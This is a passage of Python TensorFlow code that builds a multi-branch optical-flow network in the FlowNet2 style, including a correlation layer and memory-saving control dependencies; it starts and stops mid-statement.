k.startswith('fuse_'))]) [v for k,v in self.weights.iteritems() if ((k.startswith('net3_') or k.startswith('netsd_') or k.startswith('fuse_')) and not ('upsample' in k or 'deconv' in k))]) return opt, loss # If I run the network with large images (1024x2048) it crashes due to memory # constraints on a 12Gb titan X. # See https://github.com/tensorflow/tensorflow/issues/5816#issuecomment-268710077 # for a possible explanation. I fix it by adding run_after in the section with # the correlation layer so that 441 large tensors are not allocated at the same time def run_after(self, a_tensor, b_tensor): """Force a to run after b""" ge.reroute.add_control_inputs(a_tensor.op, [b_tensor.op]) # without epsilon I get nan-errors when I backpropagate def l2_norm(self, x): return tf.sqrt(tf.maximum(1e-5, tf.reduce_sum(x**2, axis=3, keep_dims=True))) def get_blobs(self, im0, im1): blobs = dict() batch_size = tf.to_int32(tf.shape(im0)[0]) width = tf.to_int32(tf.shape(im0)[2]) height = tf.to_int32(tf.shape(im0)[1]) TARGET_WIDTH = width TARGET_HEIGHT = height divisor = 64. ADAPTED_WIDTH = tf.to_int32(tf.ceil(tf.to_float(width)/divisor) * divisor) ADAPTED_HEIGHT = tf.to_int32(tf.ceil(tf.to_float(height)/divisor) * divisor) SCALE_WIDTH = tf.to_float(width) / tf.to_float(ADAPTED_WIDTH); SCALE_HEIGHT = tf.to_float(height) / tf.to_float(ADAPTED_HEIGHT); blobs['img0'] = im0 blobs['img1'] = im1 blobs['img0s'] = blobs['img0']*0.00392156862745098 blobs['img1s'] = blobs['img1']*0.00392156862745098 #mean = np.array([0.411451, 0.432060, 0.450141]) mean = np.array([0.37655231, 0.39534855, 0.40119368]) blobs['img0_nomean'] = blobs['img0s'] - mean blobs['img1_nomean'] = blobs['img1s'] - mean blobs['img0_nomean_resize'] = tf.image.resize_bilinear(blobs['img0_nomean'], size=[ADAPTED_HEIGHT, ADAPTED_WIDTH], align_corners=True) blobs['img1_nomean_resize'] = tf.image.resize_bilinear(blobs['img1_nomean'], size=[ADAPTED_HEIGHT, ADAPTED_WIDTH], align_corners=True) blobs['conv1a'] = tf.pad(blobs['img0_nomean_resize'], [[0,0], [3,3], [3,3], [0,0]]) blobs['conv1a'] = tf.nn.conv2d(blobs['conv1a'], self.weights['conv1_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv1_b'] blobs['conv1a'] = self.leaky_relu(blobs['conv1a'], 0.1) blobs['conv1b'] = tf.pad(blobs['img1_nomean_resize'], [[0,0], [3,3], [3,3], [0,0]]) blobs['conv1b'] = tf.nn.conv2d(blobs['conv1b'], self.weights['conv1_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv1_b'] blobs['conv1b'] = self.leaky_relu(blobs['conv1b'], 0.1) blobs['conv2a'] = tf.pad(blobs['conv1a'], [[0,0], [2,2], [2,2], [0,0]]) blobs['conv2a'] = tf.nn.conv2d(blobs['conv2a'], self.weights['conv2_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv2_b'] blobs['conv2a'] = self.leaky_relu(blobs['conv2a'], 0.1) blobs['conv2b'] = tf.pad(blobs['conv1b'], [[0,0], [2,2], [2,2], [0,0]]) blobs['conv2b'] = tf.nn.conv2d(blobs['conv2b'], self.weights['conv2_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv2_b'] blobs['conv2b'] = self.leaky_relu(blobs['conv2b'], 0.1) blobs['conv3a'] = tf.pad(blobs['conv2a'], [[0,0], [2,2], [2,2], [0,0]]) blobs['conv3a'] = tf.nn.conv2d(blobs['conv3a'], self.weights['conv3_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv3_b'] blobs['conv3a'] = self.leaky_relu(blobs['conv3a'], 0.1) blobs['conv3b'] = tf.pad(blobs['conv2b'], [[0,0], [2,2], [2,2], [0,0]]) blobs['conv3b'] = tf.nn.conv2d(blobs['conv3b'], self.weights['conv3_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv3_b'] blobs['conv3b'] = self.leaky_relu(blobs['conv3b'], 0.1) # this might be considered a bit hacky tmp = [] x1_l = [] x2_l = [] for di in range(-20, 21, 2): for dj in range(-20, 21, 2): x1 = tf.pad(blobs['conv3a'], [[0,0], [20,20], [20,20], [0,0]]) x2 = tf.pad(blobs['conv3b'], [[0,0], [20-di,20+di], [20-dj,20+dj], [0,0]]) x1_l.append(x1) x2_l.append(x2) c = tf.nn.conv2d(x1*x2, tf.ones([1, 1, 256, 1])/256., strides=[1,1,1,1], padding='VALID') tmp.append(c[:,20:-20,20:-20,:]) for i in range(len(tmp)-1): #self.run_after(tmp[i], tmp[i+1]) self.run_after(x1_l[i], tmp[i+1]) self.run_after(x2_l[i], tmp[i+1]) blobs['corr'] = tf.concat(tmp, axis=3) blobs['corr'] = self.leaky_relu(blobs['corr'], 0.1) blobs['conv_redir'] = tf.nn.conv2d(blobs['conv3a'], self.weights['conv_redir_w'], strides=[1,1,1,1], padding="VALID") + self.weights['conv_redir_b'] blobs['conv_redir'] = self.leaky_relu(blobs['conv_redir'], 0.1) blobs['blob16'] = tf.concat([blobs['conv_redir'], blobs['corr']], axis=3) blobs['conv3_1'] = tf.nn.conv2d(blobs['blob16'], self.weights['conv3_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['conv3_1_b'] blobs['conv3_1'] = self.leaky_relu(blobs['conv3_1'], 0.1) blobs['conv4'] = tf.pad(blobs['conv3_1'], [[0,0], [1,1], [1,1], [0,0]]) blobs['conv4'] = tf.nn.conv2d(blobs['conv4'], self.weights['conv4_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv4_b'] blobs['conv4'] = self.leaky_relu(blobs['conv4'], 0.1) blobs['conv4_1'] = tf.nn.conv2d(blobs['conv4'], self.weights['conv4_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['conv4_1_b'] blobs['conv4_1'] = self.leaky_relu(blobs['conv4_1'], 0.1) blobs['conv5'] = tf.pad(blobs['conv4_1'], [[0,0], [1,1], [1,1], [0,0]]) blobs['conv5'] = tf.nn.conv2d(blobs['conv5'], self.weights['conv5_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv5_b'] blobs['conv5'] = self.leaky_relu(blobs['conv5'], 0.1) blobs['conv5_1'] = tf.nn.conv2d(blobs['conv5'], self.weights['conv5_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['conv5_1_b'] blobs['conv5_1'] = self.leaky_relu(blobs['conv5_1'], 0.1) blobs['conv6'] = tf.pad(blobs['conv5_1'], [[0,0], [1,1], [1,1], [0,0]]) blobs['conv6'] = tf.nn.conv2d(blobs['conv6'], self.weights['conv6_w'], strides=[1,2,2,1], padding="VALID") + self.weights['conv6_b'] blobs['conv6'] = self.leaky_relu(blobs['conv6'], 0.1) blobs['conv6_1'] = tf.nn.conv2d(blobs['conv6'], self.weights['conv6_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['conv6_1_b'] blobs['conv6_1'] = self.leaky_relu(blobs['conv6_1'], 0.1) blobs['predict_flow6'] = tf.nn.conv2d(blobs['conv6_1'], self.weights['Convolution1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['Convolution1_b'] blobs['deconv5'] = tf.nn.conv2d_transpose(blobs['conv6_1'], self.weights['deconv5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 512], strides=[1,2,2,1]) + self.weights['deconv5_b'] blobs['deconv5'] = self.leaky_relu(blobs['deconv5'], 0.1) blobs['upsampled_flow6_to_5'] = tf.nn.conv2d_transpose(blobs['predict_flow6'], self.weights['upsample_flow6to5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 2], strides=[1,2,2,1]) + self.weights['upsample_flow6to5_b'] blobs['concat5'] = tf.concat([blobs['conv5_1'], blobs['deconv5'], blobs['upsampled_flow6_to_5']], axis=3) blobs['predict_flow5'] = tf.pad(blobs['concat5'], [[0,0], [1,1], [1,1], [0,0]]) blobs['predict_flow5'] = tf.nn.conv2d(blobs['predict_flow5'], self.weights['Convolution2_w'], strides=[1,1,1,1], padding="VALID") + self.weights['Convolution2_b'] blobs['deconv4'] = tf.nn.conv2d_transpose(blobs['concat5'], self.weights['deconv4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 256], strides=[1,2,2,1]) + self.weights['deconv4_b'] blobs['deconv4'] = self.leaky_relu(blobs['deconv4'], 0.1) blobs['upsampled_flow5_to_4'] = tf.nn.conv2d_transpose(blobs['predict_flow5'], self.weights['upsample_flow5to4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 2], strides=[1,2,2,1]) + self.weights['upsample_flow5to4_b'] blobs['concat4'] = tf.concat([blobs['conv4_1'], blobs['deconv4'], blobs['upsampled_flow5_to_4']], axis=3) blobs['predict_flow4'] = tf.nn.conv2d(blobs['concat4'], self.weights['Convolution3_w'], strides=[1,1,1,1], padding="SAME") + self.weights['Convolution3_b'] blobs['deconv3'] = tf.nn.conv2d_transpose(blobs['concat4'], self.weights['deconv3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 128], strides=[1,2,2,1]) + self.weights['deconv3_b'] blobs['deconv3'] = self.leaky_relu(blobs['deconv3'], 0.1) blobs['upsampled_flow4_to_3'] = tf.nn.conv2d_transpose(blobs['predict_flow4'], self.weights['upsample_flow4to3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 2], strides=[1,2,2,1]) + self.weights['upsample_flow4to3_b'] blobs['concat3'] = tf.concat([blobs['conv3_1'], blobs['deconv3'], blobs['upsampled_flow4_to_3']], axis=3) blobs['predict_flow3'] = tf.nn.conv2d(blobs['concat3'], self.weights['Convolution4_w'], strides=[1,1,1,1], padding="SAME") + self.weights['Convolution4_b'] blobs['deconv2'] = tf.nn.conv2d_transpose(blobs['concat3'], self.weights['deconv2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 64], strides=[1,2,2,1]) + self.weights['deconv2_b'] blobs['deconv2'] = self.leaky_relu(blobs['deconv2'], 0.1) blobs['upsampled_flow3_to_2'] = tf.nn.conv2d_transpose(blobs['predict_flow3'], self.weights['upsample_flow3to2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 2], strides=[1,2,2,1]) + self.weights['upsample_flow3to2_b'] blobs['concat2'] = tf.concat([blobs['conv2a'], blobs['deconv2'], blobs['upsampled_flow3_to_2']], axis=3) blobs['predict_flow2'] = tf.nn.conv2d(blobs['concat2'], self.weights['Convolution5_w'], strides=[1,1,1,1], padding="SAME") + self.weights['Convolution5_b'] blobs['blob41'] = blobs['predict_flow2'] * 20. blobs['blob42'] = tf.image.resize_bilinear(blobs['blob41'], size=[ADAPTED_HEIGHT, ADAPTED_WIDTH], align_corners=True) blobs['blob43'] = self.warp(blobs['img1_nomean_resize'], blobs['blob42']) blobs['blob44'] = blobs['img0_nomean_resize'] - blobs['blob43'] #blobs['blob45'] = tf.sqrt(1e-8+tf.reduce_sum(blobs['blob44']**2, axis=3, keep_dims=True)) blobs['blob45'] = self.l2_norm(blobs['blob44']) blobs['blob46'] = 0.05*blobs['blob42'] blobs['blob47'] = tf.concat([blobs['img0_nomean_resize'], blobs['img1_nomean_resize'], blobs['blob43'], blobs['blob46'], blobs['blob45']], axis=3) #################################################################################### #################################################################################### #################################################################################### ###################### END OF THE FIRST BRANCH ##################################### #################################################################################### #################################################################################### #################################################################################### blobs['blob48'] = tf.pad(blobs['blob47'], [[0,0], [3,3], [3,3], [0,0]]) blobs['blob48'] = tf.nn.conv2d(blobs['blob48'], self.weights['net2_conv1_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net2_conv1_b'] blobs['blob48'] = self.leaky_relu(blobs['blob48'], 0.1) blobs['blob49'] = tf.pad(blobs['blob48'], [[0,0], [2,2], [2, 2], [0,0]]) blobs['blob49'] = tf.nn.conv2d(blobs['blob49'], self.weights['net2_conv2_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net2_conv2_b'] blobs['blob49'] = self.leaky_relu(blobs['blob49'], 0.1) blobs['blob50'] = tf.pad(blobs['blob49'], [[0,0], [2,2], [2,2], [0,0]]) blobs['blob50'] = tf.nn.conv2d(blobs['blob50'], self.weights['net2_conv3_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net2_conv3_b'] blobs['blob50'] = self.leaky_relu(blobs['blob50'], 0.1) blobs['blob51'] = tf.nn.conv2d(blobs['blob50'], self.weights['net2_conv3_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_conv3_1_b'] blobs['blob51'] = self.leaky_relu(blobs['blob51'], 0.1) blobs['blob52'] = tf.pad(blobs['blob51'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob52'] = tf.nn.conv2d(blobs['blob52'], self.weights['net2_conv4_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net2_conv4_b'] blobs['blob52'] = self.leaky_relu(blobs['blob52'], 0.1) blobs['blob53'] = tf.nn.conv2d(blobs['blob52'], self.weights['net2_conv4_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_conv4_1_b'] blobs['blob53'] = self.leaky_relu(blobs['blob53'], 0.1) blobs['blob54'] = tf.pad(blobs['blob53'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob54'] = tf.nn.conv2d(blobs['blob54'], self.weights['net2_conv5_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net2_conv5_b'] blobs['blob54'] = self.leaky_relu(blobs['blob54'], 0.1) blobs['blob55'] = tf.nn.conv2d(blobs['blob54'], self.weights['net2_conv5_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_conv5_1_b'] blobs['blob55'] = self.leaky_relu(blobs['blob55'], 0.1) blobs['blob56'] = tf.pad(blobs['blob55'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob56'] = tf.nn.conv2d(blobs['blob56'], self.weights['net2_conv6_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net2_conv6_b'] blobs['blob56'] = self.leaky_relu(blobs['blob56'], 0.1) blobs['blob57'] = tf.nn.conv2d(blobs['blob56'], self.weights['net2_conv6_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_conv6_1_b'] blobs['blob57'] = self.leaky_relu(blobs['blob57'], 0.1) blobs['blob58'] = tf.nn.conv2d(blobs['blob57'], self.weights['net2_predict_conv6_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_predict_conv6_b'] blobs['blob59'] = tf.nn.conv2d_transpose(blobs['blob57'], self.weights['net2_deconv5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 512], strides=[1,2,2,1]) + self.weights['net2_deconv5_b'] blobs['blob59'] = self.leaky_relu(blobs['blob59'], 0.1) blobs['blob60'] = tf.nn.conv2d_transpose(blobs['predict_flow6'], self.weights['net2_net2_upsample_flow6to5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 2], strides=[1,2,2,1]) + self.weights['net2_net2_upsample_flow6to5_b'] blobs['blob61'] = tf.concat([blobs['blob55'], blobs['blob59'], blobs['blob60']], axis=3) blobs['blob62'] = tf.nn.conv2d(blobs['blob61'], self.weights['net2_predict_conv5_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_predict_conv5_b'] blobs['blob63'] = tf.nn.conv2d_transpose(blobs['blob61'], self.weights['net2_deconv4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 256], strides=[1,2,2,1]) + self.weights['net2_deconv4_b'] blobs['blob63'] = self.leaky_relu(blobs['blob63'], 0.1) blobs['blob64'] = tf.nn.conv2d_transpose(blobs['blob62'], self.weights['net2_net2_upsample_flow5to4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 2], strides=[1,2,2,1]) + self.weights['net2_net2_upsample_flow5to4_b'] blobs['blob65'] = tf.concat([blobs['blob53'], blobs['blob63'], blobs['blob64']], axis=3) blobs['blob66'] = tf.nn.conv2d(blobs['blob65'], self.weights['net2_predict_conv4_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_predict_conv4_b'] blobs['blob67'] = tf.nn.conv2d_transpose(blobs['blob65'], self.weights['net2_deconv3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 128], strides=[1,2,2,1]) + self.weights['net2_deconv3_b'] blobs['blob67'] = self.leaky_relu(blobs['blob67'], 0.1) blobs['blob68'] = tf.nn.conv2d_transpose(blobs['blob66'], self.weights['net2_net2_upsample_flow4to3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 2], strides=[1,2,2,1]) + self.weights['net2_net2_upsample_flow4to3_b'] blobs['blob69'] = tf.concat([blobs['blob51'], blobs['blob67'], blobs['blob68']], axis=3) blobs['blob70'] = tf.nn.conv2d(blobs['blob69'], self.weights['net2_predict_conv3_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_predict_conv3_b'] blobs['blob71'] = tf.nn.conv2d_transpose(blobs['blob69'], self.weights['net2_deconv2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 64], strides=[1,2,2,1]) + self.weights['net2_deconv2_b'] blobs['blob71'] = self.leaky_relu(blobs['blob71'], 0.1) blobs['blob72'] = tf.nn.conv2d_transpose(blobs['blob70'], self.weights['net2_net2_upsample_flow3to2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 2], strides=[1,2,2,1]) + self.weights['net2_net2_upsample_flow3to2_b'] blobs['blob73'] = tf.concat([blobs['blob49'], blobs['blob71'], blobs['blob72']], axis=3) blobs['blob74'] = tf.nn.conv2d(blobs['blob73'], self.weights['net2_predict_conv2_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net2_predict_conv2_b'] blobs['blob75'] = blobs['blob74'] * 20. blobs['blob76'] = tf.image.resize_bilinear(blobs['blob75'], size=[ADAPTED_HEIGHT, ADAPTED_WIDTH], align_corners=True) blobs['blob77'] = self.warp(blobs['img1_nomean_resize'], blobs['blob76']) blobs['blob78'] = blobs['img0_nomean_resize'] - blobs['blob77'] #blobs['blob79'] = tf.sqrt(1e-8+tf.reduce_sum(blobs['blob78']**2, axis=3, keep_dims=True)) blobs['blob79'] = self.l2_norm(blobs['blob78']) blobs['blob80'] = 0.05*blobs['blob76'] blobs['blob81'] = tf.concat([blobs['img0_nomean_resize'], blobs['img1_nomean_resize'], blobs['blob77'], blobs['blob80'], blobs['blob79']], axis=3) #################################################################################### #################################################################################### #################################################################################### ###################### END OF THE SECOND BRANCH #################################### #################################################################################### #################################################################################### #################################################################################### blobs['blob82'] = tf.pad(blobs['blob81'], [[0,0], [3,3], [3,3], [0,0]]) blobs['blob82'] = tf.nn.conv2d(blobs['blob82'], self.weights['net3_conv1_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net3_conv1_b'] blobs['blob82'] = self.leaky_relu(blobs['blob82'], 0.1) blobs['blob83'] = tf.pad(blobs['blob82'], [[0,0], [2,2], [2, 2], [0,0]]) blobs['blob83'] = tf.nn.conv2d(blobs['blob83'], self.weights['net3_conv2_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net3_conv2_b'] blobs['blob83'] = self.leaky_relu(blobs['blob83'], 0.1) blobs['blob84'] = tf.pad(blobs['blob83'], [[0,0], [2,2], [2,2], [0,0]]) blobs['blob84'] = tf.nn.conv2d(blobs['blob84'], self.weights['net3_conv3_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net3_conv3_b'] blobs['blob84'] = self.leaky_relu(blobs['blob84'], 0.1) blobs['blob85'] = tf.nn.conv2d(blobs['blob84'], self.weights['net3_conv3_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_conv3_1_b'] blobs['blob85'] = self.leaky_relu(blobs['blob85'], 0.1) blobs['blob86'] = tf.pad(blobs['blob85'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob86'] = tf.nn.conv2d(blobs['blob86'], self.weights['net3_conv4_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net3_conv4_b'] blobs['blob86'] = self.leaky_relu(blobs['blob86'], 0.1) blobs['blob87'] = tf.nn.conv2d(blobs['blob86'], self.weights['net3_conv4_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_conv4_1_b'] blobs['blob87'] = self.leaky_relu(blobs['blob87'], 0.1) blobs['blob88'] = tf.pad(blobs['blob87'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob88'] = tf.nn.conv2d(blobs['blob88'], self.weights['net3_conv5_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net3_conv5_b'] blobs['blob88'] = self.leaky_relu(blobs['blob88'], 0.1) blobs['blob89'] = tf.nn.conv2d(blobs['blob88'], self.weights['net3_conv5_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_conv5_1_b'] blobs['blob89'] = self.leaky_relu(blobs['blob89'], 0.1) blobs['blob90'] = tf.pad(blobs['blob89'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob90'] = tf.nn.conv2d(blobs['blob90'], self.weights['net3_conv6_w'], strides=[1,2,2,1], padding="VALID") + self.weights['net3_conv6_b'] blobs['blob90'] = self.leaky_relu(blobs['blob90'], 0.1) blobs['blob91'] = tf.nn.conv2d(blobs['blob90'], self.weights['net3_conv6_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_conv6_1_b'] blobs['blob91'] = self.leaky_relu(blobs['blob91'], 0.1) blobs['blob92'] = tf.nn.conv2d(blobs['blob91'], self.weights['net3_predict_conv6_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_predict_conv6_b'] blobs['blob93'] = tf.nn.conv2d_transpose(blobs['blob91'], self.weights['net3_deconv5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 512], strides=[1,2,2,1]) + self.weights['net3_deconv5_b'] blobs['blob93'] = self.leaky_relu(blobs['blob93'], 0.1) blobs['blob94'] = tf.nn.conv2d_transpose(blobs['blob92'], self.weights['net3_net3_upsample_flow6to5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 2], strides=[1,2,2,1]) + self.weights['net3_net3_upsample_flow6to5_b'] blobs['blob95'] = tf.concat([blobs['blob89'], blobs['blob93'], blobs['blob94']], axis=3) blobs['blob96'] = tf.nn.conv2d(blobs['blob95'], self.weights['net3_predict_conv5_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_predict_conv5_b'] blobs['blob97'] = tf.nn.conv2d_transpose(blobs['blob95'], self.weights['net3_deconv4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 256], strides=[1,2,2,1]) + self.weights['net3_deconv4_b'] blobs['blob97'] = self.leaky_relu(blobs['blob97'], 0.1) blobs['blob98'] = tf.nn.conv2d_transpose(blobs['blob96'], self.weights['net3_net3_upsample_flow5to4_w'], output_shape=[batch_size, ADAPTED_HEIGHT/16, ADAPTED_WIDTH/16, 2], strides=[1,2,2,1]) + self.weights['net3_net3_upsample_flow5to4_b'] blobs['blob99'] = tf.concat([blobs['blob87'], blobs['blob97'], blobs['blob98']], axis=3) blobs['blob100'] = tf.nn.conv2d(blobs['blob99'], self.weights['net3_predict_conv4_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_predict_conv4_b'] blobs['blob101'] = tf.nn.conv2d_transpose(blobs['blob99'], self.weights['net3_deconv3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 128], strides=[1,2,2,1]) + self.weights['net3_deconv3_b'] blobs['blob101'] = self.leaky_relu(blobs['blob101'], 0.1) blobs['blob102'] = tf.nn.conv2d_transpose(blobs['blob100'], self.weights['net3_net3_upsample_flow4to3_w'], output_shape=[batch_size, ADAPTED_HEIGHT/8, ADAPTED_WIDTH/8, 2], strides=[1,2,2,1]) + self.weights['net3_net3_upsample_flow4to3_b'] blobs['blob103'] = tf.concat([blobs['blob85'], blobs['blob101'], blobs['blob102']], axis=3) blobs['blob104'] = tf.nn.conv2d(blobs['blob103'], self.weights['net3_predict_conv3_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_predict_conv3_b'] blobs['blob105'] = tf.nn.conv2d_transpose(blobs['blob103'], self.weights['net3_deconv2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 64], strides=[1,2,2,1]) + self.weights['net3_deconv2_b'] blobs['blob105'] = self.leaky_relu(blobs['blob105'], 0.1) blobs['blob106'] = tf.nn.conv2d_transpose(blobs['blob104'], self.weights['net3_net3_upsample_flow3to2_w'], output_shape=[batch_size, ADAPTED_HEIGHT/4, ADAPTED_WIDTH/4, 2], strides=[1,2,2,1]) + self.weights['net3_net3_upsample_flow3to2_b'] blobs['blob107'] = tf.concat([blobs['blob83'], blobs['blob105'], blobs['blob106']], axis=3) blobs['blob108'] = tf.nn.conv2d(blobs['blob107'], self.weights['net3_predict_conv2_w'], strides=[1,1,1,1], padding="SAME") + self.weights['net3_predict_conv2_b'] blobs['blob109'] = blobs['blob108'] * 20. #################################################################################### #################################################################################### #################################################################################### ###################### END OF THE THIRD BRANCH #################################### #################################################################################### #################################################################################### #################################################################################### blobs['blob110'] = tf.concat([blobs['img0_nomean_resize'], blobs['img1_nomean_resize']], axis=3) #self.run_after(blobs['blob110'], blobs['blob109']) blobs['blob111'] = tf.nn.conv2d(blobs['blob110'], self.weights['netsd_conv0_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv0_b'] blobs['blob111'] = self.leaky_relu(blobs['blob111'], 0.1) blobs['blob112'] = tf.pad(blobs['blob111'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob112'] = tf.nn.conv2d(blobs['blob112'], self.weights['netsd_conv1_w'], strides=[1,2,2,1], padding="VALID") + self.weights['netsd_conv1_b'] blobs['blob112'] = self.leaky_relu(blobs['blob112'], 0.1) blobs['blob113'] = tf.nn.conv2d(blobs['blob112'], self.weights['netsd_conv1_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv1_1_b'] blobs['blob113'] = self.leaky_relu(blobs['blob113'], 0.1) blobs['blob114'] = tf.pad(blobs['blob113'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob114'] = tf.nn.conv2d(blobs['blob114'], self.weights['netsd_conv2_w'], strides=[1,2,2,1], padding="VALID") + self.weights['netsd_conv2_b'] blobs['blob114'] = self.leaky_relu(blobs['blob114'], 0.1) blobs['blob115'] = tf.nn.conv2d(blobs['blob114'], self.weights['netsd_conv2_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv2_1_b'] blobs['blob115'] = self.leaky_relu(blobs['blob115'], 0.1) blobs['blob116'] = tf.pad(blobs['blob115'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob116'] = tf.nn.conv2d(blobs['blob116'], self.weights['netsd_conv3_w'], strides=[1,2,2,1], padding="VALID") + self.weights['netsd_conv3_b'] blobs['blob116'] = self.leaky_relu(blobs['blob116'], 0.1) blobs['blob117'] = tf.nn.conv2d(blobs['blob116'], self.weights['netsd_conv3_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv3_1_b'] blobs['blob117'] = self.leaky_relu(blobs['blob117'], 0.1) blobs['blob118'] = tf.pad(blobs['blob117'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob118'] = tf.nn.conv2d(blobs['blob118'], self.weights['netsd_conv4_w'], strides=[1,2,2,1], padding="VALID") + self.weights['netsd_conv4_b'] blobs['blob118'] = self.leaky_relu(blobs['blob118'], 0.1) blobs['blob119'] = tf.nn.conv2d(blobs['blob118'], self.weights['netsd_conv4_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv4_1_b'] blobs['blob119'] = self.leaky_relu(blobs['blob119'], 0.1) blobs['blob120'] = tf.pad(blobs['blob119'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob120'] = tf.nn.conv2d(blobs['blob120'], self.weights['netsd_conv5_w'], strides=[1,2,2,1], padding="VALID") + self.weights['netsd_conv5_b'] blobs['blob120'] = self.leaky_relu(blobs['blob120'], 0.1) blobs['blob121'] = tf.nn.conv2d(blobs['blob120'], self.weights['netsd_conv5_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv5_1_b'] blobs['blob121'] = self.leaky_relu(blobs['blob121'], 0.1) blobs['blob122'] = tf.pad(blobs['blob121'], [[0,0], [1,1], [1,1], [0,0]]) blobs['blob122'] = tf.nn.conv2d(blobs['blob122'], self.weights['netsd_conv6_w'], strides=[1,2,2,1], padding="VALID") + self.weights['netsd_conv6_b'] blobs['blob122'] = self.leaky_relu(blobs['blob122'], 0.1) blobs['blob123'] = tf.nn.conv2d(blobs['blob122'], self.weights['netsd_conv6_1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_conv6_1_b'] blobs['blob123'] = self.leaky_relu(blobs['blob123'], 0.1) blobs['blob124'] = tf.nn.conv2d(blobs['blob123'], self.weights['netsd_Convolution1_w'], strides=[1,1,1,1], padding="SAME") + self.weights['netsd_Convolution1_b'] blobs['blob125'] = tf.nn.conv2d_transpose(blobs['blob123'], self.weights['netsd_deconv5_w'], output_shape=[batch_size, ADAPTED_HEIGHT/32, ADAPTED_WIDTH/32, 512], strides=[1,2,2,1]) + self.weights['netsd_deconv5_b'] blobs['blob125'] = self.leaky_relu(blobs['blob125'], 0.1) blobs['blob126'] = tf.nn.conv2d_transpose(blobs['blob124'], self.weights['netsd_upsample_flow6to5_w'], output_shape=[batch_size, 